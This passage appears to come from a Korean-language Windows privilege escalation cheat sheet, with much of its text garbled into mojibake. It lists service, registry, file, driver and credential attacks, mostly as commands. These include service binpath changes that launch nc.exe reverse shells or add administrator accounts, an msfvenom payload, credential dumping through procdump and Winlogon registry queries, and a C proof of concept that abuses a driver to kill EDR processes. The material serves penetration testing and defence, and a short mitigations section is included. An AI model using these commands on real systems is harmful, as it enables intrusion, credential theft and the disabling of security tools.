ํ๋ก์ธ์ค ๋ฐ์ด๋๋ฆฌ์ ํด๋ ๊ถํ ํ์ธ (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
๋ฉ๋ชจ๋ฆฌ์์ ๋น๋ฐ๋ฒํธ ์ถ์ถ
sysinternals์ procdump๋ฅผ ์ฌ์ฉํ๋ฉด ์คํ ์ค์ธ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. FTP์ ๊ฐ์ ์๋น์ค๋ ๋ฉ๋ชจ๋ฆฌ์ ์๊ฒฉ ์ฆ๋ช ์ด ํ๋ฌธ์ผ๋ก ์ ์ฅ๋์ด ์๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋, ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํด์ ์๊ฒฉ ์ฆ๋ช ์ ํ์ธํด ๋ณด์ธ์.
procdump.exe -accepteula -ma <proc_name_tasklist>
์ทจ์ฝํ GUI ์ฑ
SYSTEM์ผ๋ก ์คํ๋๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉ์๊ฐ CMD๋ฅผ ์คํํ๊ฑฐ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ํ ์ ์๊ฒ ํ์ฉํ ์ ์์ต๋๋ค.
์: โWindows Help and Supportโ (Windows + F1), โcommand promptโ๋ฅผ ๊ฒ์ํ ๋ค์ โClick to open Command Promptโ๋ฅผ ํด๋ฆญ
์๋น์ค
Service Triggers๋ ํน์ ์กฐ๊ฑด์ด ๋ฐ์ํ ๋ Windows๊ฐ ์๋น์ค๋ฅผ ์์ํ๋๋ก ํฉ๋๋ค (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh ๋ฑ). SERVICE_START ๊ถํ์ด ์์ด๋ ํธ๋ฆฌ๊ฑฐ๋ฅผ ๋ฐ์์์ผ ๊ถํ์ด ๋์ ์๋น์ค๋ฅผ ์์ํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ด๊ฑฐ ๋ฐ ํ์ฑํ ๊ธฐ๋ฒ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
์๋น์ค ๋ชฉ๋ก ๊ฐ์ ธ์ค๊ธฐ:
net start
wmic service list brief
sc query
Get-Service
๊ถํ
์๋น์ค ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด sc๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
sc qc <service_name>
๊ฐ ์๋น์ค์ ํ์ํ ๊ถํ ์์ค์ ํ์ธํ๋ ค๋ฉด _Sysinternals_์ ๋ฐ์ด๋๋ฆฌ accesschk๋ฅผ ๋ณด์ ํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
โAuthenticated Usersโ๊ฐ ์ด๋ค ์๋น์ค๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
์๋น์ค ํ์ฑํ
์๋ฅผ ๋ค์ด SSDPSRV์์ ๋ค์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ:
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
๋ค์ ๋ช ๋ น์ผ๋ก ํ์ฑํํ ์ ์์ต๋๋ค
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
upnphost ์๋น์ค๋ ์๋ํ๊ธฐ ์ํด SSDPSRV์ ์์กดํ๋ค๋ ์ ์ ๊ณ ๋ คํ์ธ์ (XP SP1์ ๊ฒฝ์ฐ)
๋ ๋ค๋ฅธ ์ฐํ ๋ฐฉ๋ฒ ์ด ๋ฌธ์ ์ ๋ํ ๊ฒ์ ๋ค์์ ์คํํ๋ ๊ฒ์ ๋๋ค:
sc.exe config usosvc start= auto
์๋น์ค ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก ์์
์๋น์ค์ ๋ํด โAuthenticated usersโ ๊ทธ๋ฃน์ด SERVICE_ALL_ACCESS ๊ถํ์ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ, ์๋น์ค์ ์คํ ํ์ผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์์ต๋๋ค. ์๋น์ค์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ๊ณ ์คํํ๋ ค๋ฉด sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
์๋น์ค ์ฌ์์
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
๊ถํ ์์น์ ๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ๊ถํ์ ํตํด ๋ฐ์ํ ์ ์์ต๋๋ค:
- SERVICE_CHANGE_CONFIG: ์๋น์ค ๋ฐ์ด๋๋ฆฌ์ ์ฌ๊ตฌ์ฑ์ ํ์ฉํฉ๋๋ค.
- WRITE_DAC: ๊ถํ ์ฌ๊ตฌ์ฑ์ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๊ฒ ํฉ๋๋ค.
- WRITE_OWNER: ์์ ๊ถ ํ๋ ๋ฐ ๊ถํ ์ฌ๊ตฌ์ฑ์ ํ์ฉํฉ๋๋ค.
- GENERIC_WRITE: ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๋ ๊ถํ์ ๊ฐ์ง๋๋ค.
- GENERIC_ALL: ์ญ์ ์๋น์ค ๊ตฌ์ฑ ๋ณ๊ฒฝ ๋ฅ๋ ฅ์ ๊ฐ์ง๋๋ค.
์ด ์ทจ์ฝ์ ์ ํ์ง ๋ฐ ์ ์ฉ์๋ _exploit/windows/local/service_permissions_๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์๋น์ค ๋ฐ์ด๋๋ฆฌ ๊ถํ ์ทจ์ฝ์
์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํ์ธ์ ๋๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์นํ ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํ์ธ์ (DLL Hijacking).
์๋น์ค๊ฐ ์คํํ๋ ๋ชจ๋ ๋ฐ์ด๋๋ฆฌ๋ wmic๋ฅผ ์ฌ์ฉํด ์ป์ ์ ์์ผ๋ฉฐ (not in system32) icacls๋ก ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
๋ํ sc์ icacls๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
์๋น์ค ๋ ์ง์คํธ๋ฆฌ ์์ ๊ถํ
์๋น์ค ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ด ์๋น์ค ๋ ์ง์คํธ๋ฆฌ์ ๋ํ ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users ๋๋ NT AUTHORITY\INTERACTIVE๊ฐ FullControl ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ๊ทธ๋ ๋ค๋ฉด ์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
์คํ๋๋ ๋ฐ์ด๋๋ฆฌ์ ๊ฒฝ๋ก(Path)๋ฅผ ๋ณ๊ฒฝํ๋ ค๋ฉด:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
์๋น์ค ๋ ์ง์คํธ๋ฆฌ AppendData/AddSubdirectory ๊ถํ
๋ ์ง์คํธ๋ฆฌ์ ๋ํด ์ด ๊ถํ์ด ์๋ค๋ฉด ์ด๋ ํด๋น ๋ ์ง์คํธ๋ฆฌ๋ก๋ถํฐ ํ์ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ฑํ ์ ์์์ ์๋ฏธํฉ๋๋ค. Windows ์๋น์ค์ ๊ฒฝ์ฐ ์ด๋ ์์์ ์ฝ๋๋ฅผ ์คํํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
AppendData/AddSubdirectory permission over service registry
๋ฐ์ดํ ์๋ ์๋น์ค ๊ฒฝ๋ก
์คํ ํ์ผ ๊ฒฝ๋ก๊ฐ ๋ฐ์ดํ๋ก ๊ฐ์ธ์ ธ ์์ง ์์ผ๋ฉด, Windows๋ ๊ณต๋ฐฑ ์๊น์ง์ ๊ฐ ๊ฒฝ๋ก๋ฅผ ์คํํ๋ ค๊ณ ์๋ํฉ๋๋ค.
์๋ฅผ ๋ค์ด ๊ฒฝ๋ก C:\Program Files\Some Folder\Service.exe ์ ๊ฒฝ์ฐ Windows๋ ๋ค์์ ์คํํ๋ ค๊ณ ์๋ํฉ๋๋ค:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Windows์ ๋ด์ฅ๋ ์๋น์ค์ ์ํ ๊ฒฝ๋ก๋ ์ ์ธํ๊ณ , ๋ฐ์ดํ๋ก ๋ฌถ์ด์ง ์์ ๋ชจ๋ ์๋น์ค ๊ฒฝ๋ก๋ฅผ ๋์ดํ์ธ์:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
์ด ์ทจ์ฝ์ ์ ํ์งํ๊ณ exploitํ ์ ์์ต๋๋ค metasploit: exploit/windows/local/trusted\_service\_path์ ์ฌ์ฉํ์ฌ. metasploit์ผ๋ก ์๋์ผ๋ก service binary๋ฅผ ์์ฑํ ์ ์์ต๋๋ค:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
๋ณต๊ตฌ ์์
Windows์์๋ ์๋น์ค๊ฐ ์คํจํ ๊ฒฝ์ฐ ์ํํ ์์ ์ ์ฌ์ฉ์๊ฐ ์ง์ ํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ ํน์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๊ตฌ์ฑํ ์ ์์ผ๋ฉฐ, ํด๋น ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ต์ฒดํ ์ ์๋ค๋ฉด privilege escalation์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ official documentation์์ ํ์ธํ์ธ์.
์ ํ๋ฆฌ์ผ์ด์
์ค์น๋ ์ ํ๋ฆฌ์ผ์ด์
๋ฐ์ด๋๋ฆฌ์ ๊ถํ์ ํ์ธํ์ธ์(๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฎ์ด์จ์ privilege escalation์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค). ๋ํ ํด๋์ ๊ถํ๋ ํ์ธํ์ธ์(DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
์ฐ๊ธฐ ๊ถํ
ํน์ ๊ตฌ์ฑ ํ์ผ์ ์์ ํด ํน์ ํ์ผ์ ์ฝ์ ์ ์๋์ง, ๋๋ Administrator ๊ณ์ ์ ์ํด ์คํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง (schedtasks) ํ์ธํ์ธ์.
์์คํ ์์ ๊ถํ์ด ์ฝํ ํด๋/ํ์ผ์ ์ฐพ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ๋ค์์ ์คํํ๋ ๊ฒ์ ๋๋ค:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ ํ๋ฌ๊ทธ์ธ ์๋ ๋ก๋ ์ง์์ฑ/์คํ
Notepad++๋ plugins ํ์ ํด๋ ์๋์ ๋ชจ๋ plugin DLL์ ์๋์ผ๋ก ๋ก๋ํฉ๋๋ค. ์ฐ๊ธฐ ๊ฐ๋ฅํ ํฌํฐ๋ธ/๋ณต์ฌ ์ค์น๋ณธ์ด ์กด์ฌํ๋ ๊ฒฝ์ฐ ์
์ฑ plugin์ ๋ฃ์ผ๋ฉด ๋งค ์คํ ์ notepad++.exe ๋ด๋ถ์์ ์๋์ผ๋ก ์ฝ๋๊ฐ ์คํ๋ฉ๋๋ค (์: DllMain ๋ฐ plugin ์ฝ๋ฐฑ์์ ํฌํจ).
Notepad Plus Plus Plugin Autoload Persistence
์์ ์ ์คํ
๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์คํํ registry ๋๋ binary๋ฅผ ๋ฎ์ด์ธ ์ ์๋์ง ํ์ธํ์ธ์.
์ฝ์ด๋ณด์ธ์ ๋ค์ ํ์ด์ง์์ ํฅ๋ฏธ๋ก์ด autoruns locations to escalate privileges์ ๋ํด ๋ ์์๋ณด์ธ์:
Privilege Escalation with Autoruns
๋๋ผ์ด๋ฒ
๊ฐ๋ฅํ third party weird/vulnerable drivers๋ฅผ ์ฐพ์๋ณด์ธ์
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the stepโbyโstep technique here:
Arbitrary Kernel Rw Token Theft
For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
์ต์ hive ์ทจ์ฝ์ ์ ๊ฒฐ์ ์ ๋ ์ด์์์ ์กฐ์ํ๊ณ , ์ฐ๊ธฐ ๊ฐ๋ฅํ HKLM/HKU ํ์ ํญ๋ชฉ์ ์ ์ฉํ๋ฉฐ, ๋ฉํ๋ฐ์ดํฐ ์์์ ์ปค๋ paged-pool ์ค๋ฒํ๋ก์ฐ๋ก ๋ณํํ ์ ์๊ฒ ํด์ค๋๋ค(์ปค์คํ ๋๋ผ์ด๋ฒ ์์ด). ์ ์ฒด ์ฒด์ธ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
์ผ๋ถ ์๋ช ๋ ์๋ํํฐ ๋๋ผ์ด๋ฒ๋ IoCreateDeviceSecure๋ฅผ ํตํด ๊ฐ๋ ฅํ SDDL๋ก device object๋ฅผ ์์ฑํ์ง๋ง DeviceCharacteristics์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ๋ ๊ฒ์ ์์ด๋ฒ๋ฆฝ๋๋ค. ์ด ํ๋๊ทธ๊ฐ ์์ผ๋ฉด, ์ถ๊ฐ ์ปดํฌ๋ํธ๋ฅผ ํฌํจํ ๊ฒฝ๋ก๋ฅผ ํตํด ๋๋ฐ์ด์ค๋ฅผ ์ด ๋ secure DACL์ด ์ ์ฉ๋์ง ์์, ๊ถํ์ด ์๋ ์ฌ์ฉ์๊ฐ ๋ค์๊ณผ ๊ฐ์ ๋ค์์คํ์ด์ค ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํด ํธ๋ค์ ์ป์ ์ ์์ต๋๋ค:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
์ฌ์ฉ์๊ฐ ๋๋ฐ์ด์ค๋ฅผ ์ด ์ ์๊ฒ ๋๋ฉด, ๋๋ผ์ด๋ฒ๊ฐ ๋ ธ์ถํ ๊ถํ ์๋ IOCTLs๋ฅผ LPE์ ๋ณ์กฐ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์ค์ ์ฌ๋ก์์ ๊ด์ฐฐ๋ ์์ ๊ธฐ๋ฅ:
- ์์์ ํ๋ก์ธ์ค์ ๋ํ ์ ์ฒด ์ ๊ทผ ํธ๋ค์ ๋ฐํ (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- ์ ํ ์๋ raw disk read/write (์คํ๋ผ์ธ ๋ณ์กฐ, ๋ถํ ์ ์ง์์ฑ ํธ๋ฆญ).
- Protected Process/Light (PP/PPL)์ ํฌํจํ ์์์ ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃ์์ผ, ์ปค๋์ ํตํด ์ ์ ๋๋์์ AV/EDR๋ฅผ ์ข ๋ฃํ ์ ์๊ฒ ํจ.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- DACL๋ก ์ ํํ๋ ค๋ ์ฅ์น ๊ฐ์ฒด๋ฅผ ์์ฑํ ๋ ํญ์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ์ธ์.
- ๊ถํ์ด ํ์ํ ์์ ์ ๋ํด ํธ์ถ์ ์ปจํ ์คํธ๋ฅผ ๊ฒ์ฆํ์ธ์. ํ๋ก์ธ์ค ์ข ๋ฃ๋ ํธ๋ค ๋ฐํ์ ํ์ฉํ๊ธฐ ์ ์ PP/PPL ๊ฒ์ฌ๋ฅผ ์ถ๊ฐํ์ธ์.
- IOCTLs (access masks, METHOD_*, input validation)๋ฅผ ์ ํํ๊ณ ์ง์ ์ ์ธ kernel privileges ๋์ brokered models ์ฌ์ฉ์ ๊ณ ๋ คํ์ธ์.
Detection ideas for defenders
- ์์ฌ์ค๋ฌ์ด ์ฅ์น ์ด๋ฆ(์: \ .\amsdk*)์ ๋ํ ์ฌ์ฉ์ ๋ชจ๋ ์คํ ๋ฐ ์ค์ฉ์ ๋ํ๋ด๋ ํน์ IOCTL ์ํ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์.
- Microsoft์ vulnerable driver blocklist (HVCI/WDAC/Smart App Control)๋ฅผ ์ ์ฉํ๊ณ ์์ฒด ํ์ฉ/๊ฑฐ๋ถ ๋ชฉ๋ก์ ์ ์งํ์ธ์.
PATH DLL Hijacking
๋ง์ฝ PATH์ ํฌํจ๋ ํด๋ ์์ ์ฐ๊ธฐ ๊ถํ์ด ์๋ค๋ฉด, ํ๋ก์ธ์ค์ ์ํด ๋ก๋๋ DLL์ hijackํ์ฌ escalate privilegesํ ์ ์์ต๋๋ค.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
์ด ๊ฒ์ฌ๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด:
Writable Sys Path +Dll Hijacking Privesc
๋คํธ์ํฌ
๊ณต์
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file์ ํ๋์ฝ๋ฉ๋ ๋ค๋ฅธ ์๋ ค์ง ์ปดํจํฐ๊ฐ ์๋์ง ํ์ธํ์ธ์
type C:\Windows\System32\drivers\etc\hosts
๋คํธ์ํฌ ์ธํฐํ์ด์ค & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
์ด๋ฆฐ ํฌํธ
์ธ๋ถ์์ ์ ํ๋ ์๋น์ค๋ฅผ ํ์ธํ์ธ์
netstat -ano #Opened ports?
๋ผ์ฐํ ํ ์ด๋ธ
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP ํ ์ด๋ธ
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall ๊ท์น
Check this page for Firewall related commands (๊ท์น ๋์ด, ๊ท์น ์์ฑ, ๋นํ์ฑํ, ๋นํ์ฑํโฆ)
๋ ๋ง์ commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
๋ฐ์ด๋๋ฆฌ bash.exe๋ C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe์๋ ์์ต๋๋ค.
root ์ฌ์ฉ์ ๊ถํ์ ์ป์ผ๋ฉด ์๋ฌด ํฌํธ์์๋ listenํ ์ ์์ต๋๋ค(์ฒ์ nc.exe๋ก ํฌํธ๋ฅผ listenํ๋ฉด GUI๊ฐ nc๋ฅผ ๋ฐฉํ๋ฒฝ์์ ํ์ฉํ ์ง ๋ฌป์ต๋๋ค).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash๋ฅผ root๋ก ์ฝ๊ฒ ์์ํ๋ ค๋ฉด --default-user root๋ฅผ ์๋ํด ๋ณด์ธ์.
๋ค์ ํด๋์์ WSL ํ์ผ ์์คํ
์ ํ์ํ ์ ์์ต๋๋ค: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows ์๊ฒฉ ์ฆ๋ช
Winlogon ์๊ฒฉ ์ฆ๋ช
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault๋ ์๋ฒ, ์น์ฌ์ดํธ ๋ฐ ๊ธฐํ ํ๋ก๊ทธ๋จ์ ๋ํ ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
์ ์ ์ฅํฉ๋๋ค. ์ด๋ฌํ ์๊ฒฉ ์ฆ๋ช
์ Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์๋ ๊ฒฝ์ฐ์ ํด๋นํฉ๋๋ค. ์ฒ์ ๋ณด๋ฉด ์ฌ์ฉ์๊ฐ Facebook ์๊ฒฉ ์ฆ๋ช
, Twitter ์๊ฒฉ ์ฆ๋ช
, Gmail ์๊ฒฉ ์ฆ๋ช
๋ฑ์ ์ ์ฅํด ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์๋์ผ๋ก ๋ก๊ทธ์ธํ๋ ๊ฒ์ฒ๋ผ ๋ณด์ผ ์ ์์ต๋๋ค. ํ์ง๋ง ๊ทธ๋ ์ง ์์ต๋๋ค.
Windows Vault๋ Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์๋ ์๊ฒฉ ์ฆ๋ช ์ ์ ์ฅํฉ๋๋ค. ์ด๋ ๋ฆฌ์์ค(์๋ฒ ๋๋ ์น์ฌ์ดํธ)์ ์ ๊ทผํ๊ธฐ ์ํด ์๊ฒฉ ์ฆ๋ช ์ด ํ์ํ ๋ชจ๋ Windows ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ด Credential Manager ๋ฐ Windows Vault๋ฅผ ์ด์ฉํด ์ ๊ณต๋ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๊ณ , ์ฌ์ฉ์๊ฐ ๋งค๋ฒ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ ํ์๊ฐ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
